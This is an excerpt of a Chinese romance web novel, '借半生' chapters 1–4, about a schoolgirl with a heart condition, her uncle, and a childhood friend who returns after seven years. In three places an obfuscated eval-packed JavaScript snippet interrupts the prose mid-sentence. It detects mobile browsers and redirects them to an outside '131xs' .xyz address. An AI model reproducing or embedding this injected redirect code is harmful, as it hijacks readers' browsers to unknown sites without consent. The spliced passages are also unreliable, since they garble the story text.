《借半生》 1. 半生 “我呆呆地守着门口那株梧桐树,满心欢喜地盼着你的归期,一转头,你就站在树下向我招手。” - 今年的夏天与以往没什么不同,空气中弥漫着燥热感,知了粘在树上不厌其烦地叫个不停,吵得人头疼。 烧烤店的墙上挂着一块生了锈的钟表,那根短的指针已经转到八了,天还是没有完全黑下来。 祁苑拿起一块泛黄的毛巾擦了擦手,将一盘五斤重的龙虾端上了桌,接着回到后厨,扶着桌角站了一会儿。 尽管有空调对着吹,脸上依旧汗如雨下。 老板娘刘姐正好掀开帘子进来,拍了拍她的背轻声轻气地说:“小苑,我看你状态不太对,今天就早点下班吧。” “姐一个人忙得过来吗?”她担心。 “没事,再不济还有你哥呢。” 祁苑感激地看过去:“谢谢姐,那我就先走了。” 她解下围裙,方方正正地叠好摆在了角落里的椅子上,朝刘姐打过招呼后向外面走,彪哥正在忙。 她过去说了一声:“哥,我先回去了。” 彪哥立刻抬头:“路上注意安全。” 迎面的风都是热的,祁苑迈出的步子越来越重,她感觉后背那块衣服已经湿透了,全都贴在皮肤上,很不舒服。 穿过一条小巷子,拐个弯就能看到一排年久失修的老式住宅,墙壁上坑坑洼洼,墙皮掉了一地。 祁苑家住在三楼,门开之后,入眼的是陈旧的家具。 打开灯,窄小的屋子里既拥挤又显得空荡,因为只有她一个人。 她的父母很早就去世了,因为一场车祸。 小叔不忍心,便一直照顾她。 就在去年,那个女人出轨离了婚,祁昌阳又面临失业,每天靠着喝酒赌博逃避现实,几乎输光了家产。 后来偶然在赌局上碰见一个颇为有钱的老大哥,大哥在了解情况后将他痛骂了一顿,这才幡然醒悟过来。 痛定思痛,祁昌阳开始在外面跟着大哥跑货车,而祁苑为了不让小叔操心,趁着假期干起了兼职。 祁昌阳有找她聊过这个问题,让她好好学习不要分心。 她说:“小叔你放心,我不会荒废学业的,家里多挣一点钱,就能越早一天把债还完。” 这个点祁昌阳在外面拉货,又要到凌晨才能回家。 祁苑先去泡了杯感冒药,冲了个热水澡,躺在床上没多会儿就睡着了,只有风扇还在呼啦呼啦地转着。 到了半夜昏昏沉沉地醒来,还是只有她一个人。 外面不知何时下起了暴雨,雨点疯狂地拍打着窗子,就好像深夜里的怪兽,下一秒就要破窗而入。 祁苑打了个喷嚏,额头有些发烫,她到客厅翻开药箱,里面五花八门的药很多,但仅有的一盒退烧药已经过期了,她只能把睡衣换下跑出去买。 外面狂风大作,她吃力地将伞挡在身前。 她穿了一条长裤,前面几乎都被雨打湿了,薄薄的布料贴在了腿上。 幸好药店离的不是太远,就在那家烧烤店的斜对面。 来回的时候正好路过,她浅浅地朝里头扫了一眼,烧烤店里还有三四桌人,靠门的那桌在喝酒,有几个人瞥了她一眼。 祁苑刚走进巷子里,身后路口的光被几道拉长的影子挡住了,头顶昏黄的路灯闪了几下,即便耳边是连绵的雨声,她也能听到自己的心脏在胸腔内剧烈跳动,她攥紧手里的袋子加快了步伐。 后面传来鞋子踩进水坑里的声音,一阵动静过后,几个人打着伞挡在了祁苑的面前,溅起的水花打到她的小腿上,一阵凉意。 “妹妹回家?我们送你啊。”最前面的那个人说。 他戴着眼镜,黄色的头发梳得不三不四,左臂上有一大块青龙的纹身,灯光下十分地晃眼。 祁苑眉心一皱,回了一句:“不用了。” 走了两步,又有人说话,那人嘴里叼着一根烟,烟雾缭绕着上前要抓她的胳膊:“还是我们送你吧。” 祁苑下意识的反抗,结果一个重心不稳,她赶紧扶住了墙,此刻视线有些模糊,但她还是奋力地推开那人的手。 “我说不用了!” 眼前一阵天旋地转,祁苑捂住心口,贴着墙缓缓蹲下,大口地喘着气,那群人开始乌泱乌泱地围过来。 祁苑的伞被风吹到了一边,雨点全部往她身上打,有人上手扶她,可她一点力气也没有。 她紧紧抱着买来的药蹲在地上,耳边一片嘈杂,什么也听不清。 突然,又有人不管不顾地朝这边跑来,只见那人拨开了人群,在她面前蹲下,询问的声音有些急切:“祁苑?” 她听到这个人喊了她的名字,脑海中却对这个声音没什么记忆,于是抬头想要看他的脸,模糊间她努力地看清了他的五官。 “陈……” 她不敢确定地张了张嘴,只发出一个字,整个人的身体不受控制地软了下去。 雨伞齐刷刷地聚拢过来,那人在雨中抱着她,回头怒气冲冲地对混混喊道:“愣什么?叫救护车啊!” …… 祁苑做了个梦。 梦里,她沿着那条熟悉的路回了家,刚走到家门口,从里面传来一阵砸东西的声音,她拿钥匙的手在空中一滞。 隔着那扇厚重的防盗门,女人尖酸刻薄的声音一字不落地传进了祁苑的耳朵里,深深地刺痛了她的神经。 “你说说你,一天到晚想着那个病秧子,这几年她给家里招来多少事!你开个破书店一共才挣几个钱?还要供她读书,就算读完了出来能干嘛?!” 祁昌阳愤怒地将手中的报纸甩到地上:“你这是什么话?小苑是我哥的女儿,孩子还小,他们走了,我不能不管她啊!孩子懂事的很,倒是你,越来越不可理喻!” “我不可理喻?她自己有病就算了,连带着她爸她妈出车祸死了,就是个赔钱货!还不如死了算了!”女人丝毫不留情面,气得尖叫起来。 祁苑在门外听着,默默地低下了头,缓缓地将钥匙投进插孔,打开了门。 屋子里一片狼藉,两人的争吵随着祁苑的出现回归平静。女人瞪了祁昌阳一眼,拎起包走到祁苑身边,狠狠地撞了她一下,头也不回地走了。 地上全是碎片渣子,祁苑放下书包,一声不吭地走到门口拿起扫帚,将碎片扫进了簸箕里。 被女人这么一闹,祁昌阳心烦意乱,他深吸了一口气,努力让自己平静下来,然后接过祁苑手里的工具,轻声说道:“别扫了,快过去吃饭吧。” 祁苑点点头,走到餐桌旁坐下,埋头扒起了白饭,祁昌阳将两个鸡腿都夹进了她的碗里,如平常一般询问她的学习情况:“最近在学校怎么样,学习上吃不吃力?” 她摇摇头:“挺好的。” “吃完饭就回自己房间写作业吧。” “嗯……” 次日放学,她一进门,就看见女人在收行李,她问了一句:“婶婶你要去哪儿?” “离婚了,我爱去哪儿去哪儿。”女人冷着脸,收拾的动静极大,每一个动作里都带着十二分的不满。 十三岁的祁苑没想那么多,只觉得她从始至终就是个坏人,于是走到女人的面前:“你可以去找有钱人,但你说我爸妈和小叔的坏话就是不行!” 女人听完,脸一垮,气不打一处来,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447563|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折好的衣服往地上一丢,扬起手打了祁苑一巴掌。 细嫩的皮肤瞬间红了一片,祁苑顿时感觉脸上火辣辣的。 祁昌阳接完电话从阳台回来,看见这一幕,赶紧上去把祁苑拉到身后吼道:“你又发什么疯?再怎么样也不能打孩子啊!” 女人指桑骂槐道:“这丫头就是个扫把精!你们一个个迟早要倒大霉!” 女人说完还觉得不够解气,又继续骂道:“跟她那死鬼父母一样,一家子人都这么晦气!” “孙慧莹!”祁昌阳怒道。 祁苑眼眶一红,径直扑了过去,一把将女人推开:“不许说我爸妈!” …… “爸妈!” 祁苑一声惊呼,睁开眼,是干净敞亮的房间,空气中有一丝消毒水的味道。 已经是第二天下午了,祁昌阳一脸疲惫地坐在床边的椅子上,见她醒了,递来一杯温水:“还有没有哪里不舒服?” 中年男人眼下带着乌青,下巴那一圈冒出了不少细小的胡茬,看上去整个人都很憔悴。 她嗓子沙哑着喊了一声“小叔”。 祁昌阳从床头的柜子里掏出一瓶牛奶,是她最喜欢的芒果味,她接过,余光瞥见柜子上摆着一束淡黄色的山茶花。 见她望着那束花,祁昌阳说道:“颂声回来了,昨晚是他送你来医院的。” 颂声。 陈颂声…… 这名字很久没听到了。 “颂声都跟我说了,你毕竟是女孩子,以后尽量不要一个人在夜里乱跑,”祁昌阳又补充道,“况且你心脏不好,万一真出事了怎么办?” “我去买药……” 她手指抠着被单,埋头小声道。 祁昌阳微微低下头,“这个是我疏忽了,家里还缺什么就告诉我。” 祁苑点点头,小叔每天忙的已经是自顾不暇,还让他担心,她很过意不去:“我知道了。” 回家之后,祁昌阳给了一串号码,说是陈颂声的联系方式:“这次多亏了颂声,有时间的话请人家吃个饭。” 祁苑加了他的微信,一秒就通过了。 七年没见,她正琢磨着怎么开口,对方发来一条消息。 【你好点了吗?】 【没事了,谢谢。】 祁苑回复,又加了一句话。 【你什么时候有空,我请你吃个饭?】 这条发出去之后没了下文,祁苑以为他会拒绝,还想着如何说服他,没想到隔了几分钟,陈颂声回了一条。 【就明天吧。】 祁苑拿着手机来回走动,在聊天框里不停地打字,删删减减,最后只留下一个字。 【行。】 她和陈颂声自幼便认识,据说她刚会走路的时候天天要往他家跑,两家的父母又都是老师,时常来往,打打闹闹惯了。 直到七年前她父母去世,没过多久他也搬家了,便再没有联系。 这次如果不是碰巧被他遇见,这条命能不能捡回来还未可知。 她去烧烤店上班的时间是下午三点到晚上十点,但是中午她还要去附近的餐馆帮忙,她便给老板发信息请了假。 等她快要走到约定的地方时,远远地看见了那晚围住她的混混。 她注意到在人堆里,其中一个的打扮和其他人截然不同,一身干净的浅色T恤,和花里胡哨的花衬衫一对比,怪扎眼的。 她看见,那人左手拿着一瓶水,右手揣在牛仔裤的口袋里,笑得正开心。 祁苑停住脚步,准备绕过他们,眼看着对面的小人跳成了绿色,她正要跟着大部队过去,那边叫住了她。 “祁苑。” 2. 半生 “去哪儿啊?” 清冽的声音中带着一丝笑意,已经不再是七年前的小薄荷音了,祁苑扭头,那人朝她走过来了。 她有些不知所措,两只手都不知道该放哪儿。 等到人站在了她面前的时候,她才发现,那个曾经被她天天嘲笑身高的男生,都比她高出一个头了。 见她不说话,陈颂声歪着头继续笑着问她:“看见我不打招呼,扭头就跑是什么意思?” 祁苑没有立即回答他,而是看向了左手边,那群人还在那儿没走,正齐刷刷地盯着他们,她说:“你挺叛逆啊。” “什么?”陈颂声像是听到了什么笑话一般,甚至笑出声来,他挑了挑眉,继续逗她,“我叛逆这事儿,你第一天知道啊?” “……” 祁苑这一刻有点不太想跟他说话,但人家毕竟送她去了医院,她还是按捺住性子,礼貌出声道:“咱们换个话题怎么样,比如您中午想吃点什么?” “吃饭就吃饭,这么客气干什么?”陈颂声说着,晃了晃手里的水瓶,往一个方向指了过去,“那边几个有话跟你说。” 祁苑一阵疑惑,但还是乖乖地跟着陈颂声过去了。 刚到那儿,其中一个扎着脏辫的大高个儿迈着略显拘谨的步伐向前走了两步,脸上还带着些许的愧疚,看样子应该是混混头子:“不好意思啊妹妹,吓到你了。” 祁苑警惕地望着他们。 那混混头子开始喋喋不休:“那天晚上我在烧烤店里吃饭,看你一个人在外面走,想着雨天不安全,就让他们过去送送你,谁知道这些个家伙太莽了,跟一帮土匪似的就把你拦下来了……” 说完,他一脚踹上了旁边人的屁股,那人实实地受住了,愣是一声没吭。 “是这样?”祁苑皱起了眉,显然一副不相信的样子。 混混头子赶紧“嗯”了一声,突然对着后面几人狠狠地教训了起来:“人家妹妹问你们话呢,都聋了啊!” 后面那几个闻声,肩膀猛地一抖,连忙点头应道:“是是是,是我们的方式不对,差点给妹妹吓出毛病来,对不起,真的对不起!下次肯定不这样了!” 祁苑:“……” 真莽,一口一个妹妹,叫这么亲。 混混头子又往那人屁股上踹了一脚,二话不说将他们撵去了一边:“滚去吃你们的烧烤!” 祁苑看了陈颂声一眼,他终于说话了,语气中有些嫌弃的意味:“行了张录,女孩子面前文明点。” 被叫作“张录”的男生秒变脸,嬉笑道:“实在不好意思啊妹妹,这样吧,今天这顿饭我请了,就当是给你赔罪。” “不用了。”祁苑下意识地拒绝。 陈颂声却很自然地接道:“好啊。” 去餐馆的路上,张录在前面忙着跟人打电话,祁苑和陈颂声并肩慢慢悠悠地走着,她略微犹豫地问道:“你们俩……” 陈颂声知道她想问什么,回答道:“他是我幼儿园同学。” 这五个字一出,祁苑的眉心皱成了一个“川”字,只觉得很不可思议,跟这样的幼儿园同学玩这么近,叔叔阿姨真的不会在他耳边念叨吗。 “他父母工作忙,没时间管他,时间久了就成这个样子了。不过,他心眼不坏,也就打扮的非主流了点,跟刚才那些人平时小打小闹罢了,没干什么坏事。” 听他这样讲,祁苑便没有再说什么,毕竟是他的幼儿园同学,算下来也有十几年的交情了,比她认识的还要早。 祁苑还有个疑问:“那天都半夜了,还下着雨,你怎么在外面?” “哦,那天我爸跟朋友吃饭,太久没见聊得晚了些,他就喊我出来给他买烟,结果买完碰见张录从烧烤店出来,走了两步又看见你。”他解释道。 许是气氛有些尴尬,她掏出手机看了下时间,开始找话:“那个,之前说好了我请你吃饭的,可现在……” 陈颂声倒是没有很在意,悠哉悠哉地说道:“这有什么的,这顿就先欠着,留着下次吃。” 张录带着他们去了一家云港最有名的粤菜馆,进门之后,柜台的老板抬头瞄了他们一眼,随即又低下了头,翻着账本说:“吃饭来了。” “带朋友来的。”张录说。 老板点点头:“二楼包厢,留着呢。” 张录堪称云港吃喝届的交际花,百分之九十五的店他都吃过。 他们一行人上了二楼,这家店的装修布局很朴素,简单敞亮,这会儿一楼大堂里坐满了人。 张录一上来就将菜单交给祁苑:“妹妹想吃啥,随便点!” 祁苑接过菜单,随便勾了两个菜,又将菜单递给了陈颂声。 他拿到手之后勾了一份红椒牛柳,转手又给划掉了。 张录又推荐了几道招牌菜,服务员来取菜单的时候,陈颂声不放心,又嘱咐了一句:“那个红椒牛柳不要,谢谢。” 祁苑觉得奇怪:“为什么不要?” 陈颂声喝了口茶:“你不能吃辣。” “我可以看着你们吃啊。”她说。 他抬眼:“看着我们吃,确定不会眼馋吗?” 他清楚地记得,在祁苑五岁那年,他和父母去她家里吃饭,就烧了那么一道辣菜,千叮万嘱不能吃,她可倒好,眼巴巴地在那儿流口水,趁人不注意叼走一大块。 结果可想而知,医院一日游。 回忆太过惨痛,祁苑用沉默表示她不愿再提。 总共是六个菜加一个汤,不出一会儿就上齐了。 吃饭的过程中,张录一直妹妹长妹妹短,生怕祁苑吃的不如意,回头找他麻烦。 陈颂声看不下去了,拿筷子在他面前晃了晃:“你还有完没完了?” “我怎么了?我多有诚意啊,”张录冲他做出一个浮夸的表情,面对祁苑时就像换了个人一样,“是吧妹妹。” 祁苑夹了一块白切鸡,目光在对面两个人的脸上来回扫,她轻轻咳了一声,对张录说道:“我叫祁苑,直接喊名字就好。” “我知道啊,以前陈哥跟我提起过你,你是他好朋友嘛。”张录说完,觉得哪里不对劲,唰地往旁边看过去。 “就咱俩这关系,你从来没跟妹妹提起过我?” 陈颂声刚想和他碰个杯,毕竟这么多年没见了,结果杯子刚拿起来,这家伙一脸幽怨地望着他,他顿时没话了,变成了看神经病的眼神。 祁苑一副看热闹不嫌事儿大的模样:“当然提过。” 张录两眼放光:“什么时候?” “来的路上。” 我敲……敲个鸡蛋给你。 陈颂声扭头:“有意见?” 当然没有,谁敢对陈哥有意见! 张录连连叹气,一会儿说自己不是他最好的朋友,一会儿又说青梅和竹马在他心里不是一个份量,听得陈颂声想拿卷胶带把他嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447564|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴上。 玩笑过后,张某人又开始唠嗑。 “你们吃过这边的烧烤没?妹……小苑肯定吃过,你呢?我记得你走那会儿,云港烧烤这块儿还没发展起来呢。” “嗯嗯嗯,没吃过,我这个农村待惯了的人怎么跟你大城市的比。”陈颂声嘴里咬着羊肉,附和他。 祁苑是真的在专心吃饭,眼睛只盯着面前的菜,听他们俩在耳边一来一回的就跟说相声似的。 说起烧烤,貌似张录这个月去刘姐那儿吃了有十大几回了,以至于她七月初才去上的班,这还没到月底就已经对他眼熟了。 想到这儿,她小声嘀咕了一句:“小心得癌。” “你说什么?”陈颂声听到她一个人在那儿碎碎念,觉得好奇。 祁苑把嘴里东西咽下去,又重复了一遍:“我说,烧烤里苯并芘那么多,偶尔解解馋还好,当饭吃的话小心得癌。” 陈颂声轻笑一声,用手肘戳了戳张录:“听见没?说你呢,别拿烧烤当饭吃。” 张录正在喝水,被狠狠地呛了一下,才反应过来是在说他,略显不自然地摸了摸脸:“知道了知道了。” 等他们吃完饭的时候,都快两点半了,祁苑走到一半和他们分开了,她抄了近道去烧烤店。 下午没什么人,刘姐正在擦桌子,她走过去系上围裙,帮忙把露天的桌椅摆好,刘姐把擦汗的毛巾往肩上一搭:“今天脸色瞧着比昨天好那么一点,生病了?怎么不多休息几天?” “已经好了,”祁苑笑笑,“在家也是闲着,还不如干活来的充实。” 刘姐拍了拍她:“累了就去里头坐着,天儿热。” 到了五点陆续有客人来了,负责烧烤的彪哥在角落忙得不可开交,压根来不及擦汗,索性直接裹了块毛巾在头上。 今天有一桌客人,桌上的签子都快堆成山了,中间她去收了两波,最后人走的时候还是摞了那么高。 她下班那会儿正是高峰期,一桌走了又来一桌。 当初店里的招聘广告写的是凌晨一点下班,她来以后干了没几天,刘姐说太晚了不安全,给她提前到了晚上十点。 多一分钟都不肯留她。 当时彪哥还说:“要换作是我闺女,我可不放心她那么晚在外面。” 她小心地在夹缝里挪动着,那些桌子上摆满了烧烤啤酒,不注意的话很容易碰倒。 隔壁是一家商店,时不时地会有人进出买烟,而此时此刻,门口阴影处站了个人。 “陈颂声?” 她想不通,这个时间点了,他为什么站在这里。 “下班了?”男生扭了扭脖子,大步朝她走来,“走吧,送你回去。” 祁苑:“你可别告诉我说,你在这里等很久了。” “没有啊,也就十分钟吧。”陈颂声把手里拎着的纸袋子递了过去。 祁苑犹豫着接过。 他说:“刚路过一家蛋糕店新开业搞活动,送了两个甜甜圈,但是我不吃甜的,所以给你吧。” “谢谢。”她到现在只吃了中午那一顿,确实有点饿了。 祁苑一边吃一边和陈颂声有一搭没一搭地聊着。 “你怎么还没回家?” 陈颂声:“几个关系好的同学喊我去KTV,就玩了一会儿。” “你是怎么知道我十点下班的?” 祁苑记得好像没跟他说过这事儿。 3. 半生 “碰运气呗,本来想着等等看,实在不行进去找你来着,谁知道刚等了十分钟你就出来了。” 他绝对不会说,他是问张录的。 半小时前,他从KTV出来,蛋糕店的员工一见到他立马热情地涌了上去,招呼他试试店里的蛋糕,他委婉地拒绝之后,蛋糕店小哥提了个袋子过来:“新开业,送您两个甜甜圈,期待您下次光临。” 东西既然都塞到手上了,他就没好意思再推辞。 他先是点开了微信,不知道给谁发了个信息,半天没人回复,他又拨了个电话出去。 “喂?” 对方先出了声,那边吵得很,音乐声比KTV里的还要炸耳朵,可以听出他这个字是喊出来的。 “你那边作什么妖呢?”陈颂声无奈道。 “你说什么?”张录大声道。 陈颂声扯着嗓子吼了起来:“你天天往烧烤店跑,知不知道你好妹妹几点下班?” 张录仔细想了想,对着手机话筒吼道:“十点!每次我上店里吃饭,差不多快十点就看她回去了!” “知道了。”说完这句话,完全不等对方回答,他果断挂掉了电话。 “反正也是顺路,就想着等一等。”看祁苑啃完了一个甜甜圈,他又说了一句。 回到家,祁苑把剩下的甜甜圈用袋子封好放进了冰箱,关上冰箱门,手机发出了电量不足的提示音,还是昨天充的电。 界面上显示微信有一条未读的消息,是九点二十七分发来的。 她去到自己房间,从抽屉里找出充电器,接上电源后点开了消息,是陈颂声问她: 【你几点下班?】 她当时应该是在忙吧,手机一直放在收银台的抽屉里没管。 她回复:【抱歉,那会儿太忙了没看到信息。】 发完等了一会儿没动静,她就收拾东西去洗澡了,等她洗完衣服回来,正好有消息进来。 点开:【没关系,我知道你在忙。】 她打了几个字上去:【你到家了吗?】 【嗯。】 【很晚了,早点休息。】 他连发了两条。 【好。】 她本来后面还有一句“你也是”,思来想去还是删掉了。 回完这一条,她去吹了个头发,快十一点的样子才去睡觉。 这两年几乎每天晚上都是这样一个人在家,奈何怕黑怕鬼的毛病就是克服不了,所以家里没人的时候她习惯开着床头的灯睡。 云港的天气总让人捉摸不透,连下了十来天的暴雨,温度也降了不少,夜里甚至只有二十度,别说空调了,风扇吹着都嫌冷。 八月底持续高温,正赶着学生开学。 太阳炙烤着地面,校门口的狗走过都觉得烫脚,吐着舌头一路狂奔地窜进保安室。 新学期第一天,祁苑坐在高一六班的教室里,几乎有三分之二的同学都在讨论高三那边的英语学霸。 “你听说了吗?高三新来了个转校生,据说是高一参加省英语竞赛拿了一等奖,然后又去参加国赛,拿了全国第二的。” “这谁不知道?听说那学长可帅了……” “哎呦我跟你们说,现在高三九班门口啊全是小姑娘,把走廊挤的水泄不通,那感觉就跟去动物园看猩猩似的……” 祁苑托着腮帮子定定地望着窗外,她对帅哥可不感兴趣,但是吧,对于能把英语学到这种程度的帅哥,还是很感兴趣的。 因为,她几门学科当中最差的就是英语,小叔给她找家教恶补过一段时间,也才勉强及格的水平。 正走着神,一个穿褐色格子衬衫的中年男人夹着书从窗边走过,带着银色半框眼镜,头发自然地梳向两边,鬓发有些发白了。 他从门口走进来的那一刻,闹哄哄的班级彻底安静了,但依稀能听见学生在底下窃窃私语。 “这老师瞧着挺斯文,我觉得应该是个很温柔的老师。” “猜猜他是教什么的,我猜是物理。” “瞎说,之前在楼底下遇到的那个地中海才是教物理的,我估摸着他应该是语文,或者英语。” 男人放下手上的东西,面对底下不时传来的说话声,不由地皱起了眉。 “同学们安静。”他将书本放在讲台上,开始说话。 祁苑的思绪被拉了回来,她一抬头。 陈叔叔! 她的高中班主任居然是陈颂声的爸爸! 上一次见还是七年前,如今陈叔叔也生出了不少白发,面容苍老了不少。 “今天是第一天,我们先点个名,初步认识一下各位,等下报到名字的同学站起来答个到。”他扶了下眼镜,翻开点名册。 “谭照清。” “到。” “李科星。” “到。” “左楠。” “到。” …… 报到一半陈扬突然停顿了一下,念出了这个名字。 “祁苑。” 祁苑站起来,规规矩矩地答了声“到”。 陈扬朝她点点头,然后接着点名。 这个流程结束后,陈扬拿起粉笔在黑板上写下自己的大名,用手敲了敲黑板:“我是你们的班主任,也是你们的数学老师,不出意外的话,未来三年都会见到我。” 他说话铿锵有力,一副不苟言笑的样子,这哪里是班主任,不知道的还以为这是教导主任。 果然人不能光看外表。 互相认识了以后,就到了选课代表的环节了,其他几科都有人毛遂自荐,但轮到选数学课代表,底下居然鸦雀无声。 “数学这么吓人吗?还是我比较吓人啊?这么不乐意当我的课代表?”陈扬直接夺命三连问,依旧是一片死寂。 “祁苑。” “到。”再次被喊到名字,祁苑迅速从座位上站起来。 “数学课代表,你来当。” 她有些惊喜,立即答应了下来:“好的老师。” 下午临近放学,陈扬布置了三道题让他们回去做,明天一早就要带过来。 “课代表明早把作业收一下,二节课下送到我办公室,”陈扬往讲台下扫了一眼,悠悠说道,“回去都认真写,错两道及两道以上的,操场五圈。” 待他走后,教室里哀嚎一片。 祁苑的同桌是个很精瘦的男孩子,他把收好的书包丢在桌子上,一脸惆怅:“哪有还没上课就布置作业的!做不好还要跑圈,这老陈也忒狠了吧!” “没有好日子过咯! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447565|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”有学生附和道。 晚上,祁苑翻开作业本,题目读完,思路就已经在脑子里展开了,几分钟就把三道题解出来了。 当时抄题目的时候她就注意到,都是初中的基础题,只不过绕了几个弯子,步骤繁琐了些,这份作业考验的就是他们的耐心和细心程度。 难怪做不好要罚绕操场跑五圈…… 但一个班里,总不乏那些粗心大意的人。 数学课上课之前,一个课间的时间,陈扬就把作业改出来了,第三节课下,祁苑去办公室拿改好的作业。 办公室里只有陈扬一个人,她敲门进去后很自然地喊了一声“老师”。 “小苑啊。” 看到她,不免想起一些已经发生了的事,陈扬感慨了一下,将作业本递到桌边:“都长这么高了。学习上要是遇到困难了,就来问叔叔,或者去问颂声也行,他就在三年级九班。” “我知道了,谢谢叔叔。”祁苑将本子抱在怀里,微微一笑,“那我先回去了。” “好,去吧。” 祁苑刚走到门口,陈扬叫住了她:“小苑,你把下面那沓正着摆的发下去,剩下的放讲台上就行。” 她浅看了下,全班总共三十六个学生,大约有七个人等下要去操场锻炼身体。 中午,祁昌阳烧了她最爱吃的油爆大虾,还有包菜炒肉。 放在桌角的手机一直在震动,祁苑摸过来一瞧,果然是陈颂声在给她发消息。 【采访一下,对于我爸是你班主任这件事有什么感想?】 【别看我爸平时温柔的很,在教书这块儿他可是严师。】 【我小时候因为乘法口诀背不出来,被他揍了多少回,这老头一天天的就知道嫌我丢人。】 祁苑忍住笑意打字回复他,祁昌阳见她笑得那么开心,立马猜到了:“是不是颂声在给你发消息?” 祁苑赶忙打住,点了头:“嗯。” 她想起还没来得及和小叔说,把手机收回口袋里,开心道:“是陈叔叔教我数学,他还是我的班主任。” “那太好了,这样的话,你在学校我也能放心些,学习上有什么不懂的要多去向你叔叔请教。”祁昌阳嘱咐道。 吃完了饭,祁昌阳在收碗筷,他说:“你现在上高中了,学习任务重,周末那几天就不要再去烧烤店了。” “小叔。”祁苑欲言又止。 祁昌阳劝道:“学业为重,你需要的是专心学习,周末剩余时间拿来充分地休息,调整自己的状态。听见没?” 祁苑不想让祁昌阳再为她操心:“听见了。小叔,我可以等国庆那几天干完吗?” “你自己安排好就行。” 后面几天,祁苑一直在军训,防晒霜也涂了,几天下来还是晒黑了好几个度,周六去烧烤店,刘姐直呼快认不出来了。 彪哥在一旁说风凉话:“好好一白净的小姑娘,这下都快跟我一个肤色了。” 祁苑看了看自己的两只手,就像是刚被烟熏过,和胳膊完全不是一个颜色。 这天,陈颂声带着他的同学去吃饭了,祁苑给一桌送完烧烤,就撞见了他。 他还在和同学说笑,看到她先是一愣,随即瞪大了眼睛,一下没忍住,说道:“你这是去了趟印度吗?” 4. 半生 “你再说一遍!” 祁苑扬了扬刚收的签子,面露凶色道。 跟在身后的同学见状凑了过来:“陈哥,这位是……” 陈颂声:“我朋友,刚从印度回来的。” “陈颂声。”祁苑扯出一个危险的笑容。 他立马摆手笑道:“开玩笑,她高一的,刚军训完。” “原来是学妹啊。” 祁苑礼貌地笑笑,往那边指了指:“那有空桌,你们先坐过去吧。” 祁苑给他们送烧烤,彼时他们正在聊高三的那个转校生。 “说起来,你也是够厉害的,几乎全校的学生都听说你是国赛第二,可连你大名儿叫啥都不知道。” “好歹跟咱一个班,面儿上有光!” 他们班……转校生…… 她这个猪脑子! 高三的转校生,不就他一个吗? 祁苑总算是想明白了,被大家捧上天的那个帅哥,原来就是他啊。 她看见陈颂声很慵懒地靠在椅背上,端着一杯冰可乐正喝着,仿佛刚才谈的这些都与他无关。 祁苑对陈颂声身边的那个男生问道:“我听同学说,女生把你们班包围了?” “那可不咋的!” 祁苑:“都不知道是谁,那些女生去看什么?” 一提到这个,男生跳了起来,他说得手舞足蹈:“看热闹呗!学妹你是没看到那帮女生有多可怕,就前后门还有那窗户,我们都不敢开啊,生怕她们冲进来。” 坐在他对面的一个皮肤黑黑的男生说:“主要吧,不知道是谁放的消息,说这号人物是个大帅哥,这才闹得沸沸扬扬。” “虽然是谣言,但人家也没说错啊,”立马又站起来一个,朝着陈颂声两只手一摊,“这还不够帅吗?” 所有人都等着“帅哥”发话,他放下玻璃杯,食指轻轻地叩击着桌面,淡定开口,却是对另一个人说的:“怎么你也凑起这个热闹来了?” 他问的这句话听不出来责怪的意思,倒像是在打趣儿,以为她也是奔着帅哥去的。 祁苑一时不知该怎么回答,她组织了一下语言:“我是听说这转校生英语挺厉害的,就稍微八卦了几句,哪知道是你。” “哦。”他似有似无地笑了一下。 他们几个人坐在一起吃了两个多小时,陈颂声吃的很少,大部分时间都是坐在那里听他们说话,偶尔搭上一两句。 祁苑忙完出来一看,人已经走了,以为是一片狼藉等着她,没想到吃完的签子全部整齐地堆在桌上。 她看了看钟表上的时间,十点十五分了,她拿来抹布,跟着刘姐一起去收桌子。 刘姐把吃完的签子扔进桶里,望着祁苑的身后,努努嘴示意她转身:“小苑,那边那个小男孩是你朋友吧?” 她放下装垃圾的桶,说道:“来,抹布给我,你下班吧。” 祁苑顺着那个方向瞧过去,陈颂声正抬起手腕看手表,看完冲她招了招手。 祁苑回到店里,拿了自己的外套就去找他了,说:“我还以为你走了。” “本来是走了,这不是回来了嘛,”他提起袋子给她看,“我妈打电话跟我说她想吃糖炒栗子,刚给她买栗子去了。” 他的手里有两个袋子,说完他将其中一个给了祁苑。 祁苑受宠若惊:“还给我买了?” 陈颂声把空出来的那只手抄进了裤子口袋里:“对啊,你以前不是也给我买过?” 说完,他和祁苑相视一笑。 虽然陈颂声要比祁苑大一岁,但是他小时候个头不高,总被祁苑当弟弟看。 